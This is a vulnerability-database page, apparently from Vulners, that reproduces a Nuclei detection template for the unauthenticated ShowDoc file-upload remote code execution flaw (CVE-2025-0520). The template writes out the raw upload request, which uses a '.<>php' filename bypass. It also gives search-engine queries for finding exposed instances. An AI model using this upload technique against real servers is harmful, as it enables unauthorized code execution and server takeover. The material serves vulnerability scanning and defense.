Lucene search
+L

ShowDoc - Remote Code Execution

🗓️ 17 Aug 2026 03:58:01Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 3 Views

Unauthenticated RCE in ShowDoc before 2.8.7 via improper image upload file extension validation.

Related
Refs
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2025-0520
29 Apr 202520:12
circl
cnnvd
CNNVD
ShowDoc 代码问题漏洞
29 Apr 202500:00
cnnvd
cve
CVE
CVE-2025-0520
29 Apr 202519:35
cve
cvelist
Cvelist
CVE-2025-0520 ShowDoc < 2.8.7 Unauthenticated File Upload Remote Code Execution
29 Apr 202519:35
cvelist
euvd
EUVD
EUVD-2025-12661
3 Oct 202520:07
euvd
github
Github Security Blog
ShowDoc unrestricted file upload vulnerability
29 Apr 202521:31
github
hackread
HackRead
ShowDoc Vulnerability Patched in 2020 Now Used in Active Server Takeovers
18 Apr 202614:25
hackread
nvd
NVD
CVE-2025-0520
29 Apr 202520:15
nvd
osv
OSV
GHSA-6JMR-R7P6-F5WR ShowDoc unrestricted file upload vulnerability
29 Apr 202521:31
osv
ptsecurity
Positive Technologies
PT-2025-18203
29 Apr 202500:00
ptsecurity
Rows per page
id: CVE-2025-0520

info:
  name: ShowDoc - Remote Code Execution
  author: pikpikcu,Co5mos,PapButfly
  severity: critical
  description: |
    The open-source API documentation tool ShowDoc had a remote code execution vulnerability before version 2.8.7 This vulnerability allowed unauthenticated remote attackers to upload .php files because the image upload function was not authenticated and the file extension validation was improper.
  impact: |
    The attacker does not need to go through login authentication to upload any php backdoor on the affected ShowDoc website and thereby gain server access.
  remediation: |
    Please update ShowDoc to version 2.8.7 or higher to fix this vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-0520
    - https://www.cnvd.org.cn/flaw/show/CNVD-2020-26585
    - https://github.com/star7th/showdoc/pull/1059
    - https://github.com/vulhub/vulhub/tree/master/showdoc/CNVD-2020-26585
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:H/SI:H/SA:L
    cve-id: CVE-2025-0520
    cwe-id: CWE-434
    cvss-score: 9.4
    epss-score: 0.01042
    epss-percentile: 0.60833
  metadata:
    verified: true
    vendor: star7th
    product: showdoc
    shodan-query: http.title:"ShowDoc"
    fofa-query: app="ShowDoc"
    hunter-query: web.title="ShowDoc"
    zoomeye-query: app:"ShowDoc"
  tags: showdoc,cve,cve2025,cnvd,cnvd2020,rce,fileupload,intrusive,star7th,vuln

variables:
  boundary_id: "{{rand_text_alphanumeric(16)}}"
  file_name: "{{rand_text_alphanumeric(4)}}"
  secret_str: "{{rand_base(12)}}"

http:
  - raw:
      - |
        POST /index.php?s=/home/page/uploadImg HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{boundary_id}}

        ------WebKitFormBoundary{{boundary_id}}
        Content-Disposition: form-data; name="editormd-image-file"; filename="{{file_name}}.<>php"
        Content-Type: text/plain

        <?=md5("{{secret_str}}");?>
        ------WebKitFormBoundary{{boundary_id}}--

      - |
        GET {{upload_path}} HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: json
        name: raw_url
        part: body
        json:
          - ".url"
        internal: true

      - type: dsl
        name: upload_path
        dsl:
          - 'replace_regex(raw_url, "^https?://[^/]+", "")'
        internal: true

    matchers:
      - type: dsl
        dsl:
          - "status_code_1 == 200 && status_code_2 == 200"
          - "contains_all(body_1, 'url', '.php')"
          - 'contains(body_1, "Public/Uploads") || contains(body_1, "Public\\/Uploads")'
          - "contains(body_2, '{{md5(secret_str)}}')"
        condition: and
# digest: 4a0a004730450220768ab14168547b961aeca44d67025948d7cd543beb142bd7abc0b5c5a5c2603502210091d748d4ca6b1ed0ac8d5a8c15f6a0f61b451238050f6dcf9533a4aeb357caf5:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

13 Aug 2026 12:38Current
6.8Medium risk
Vulners AI Score6.8
CVSS 49.4
EPSS0.01042
SSVC
3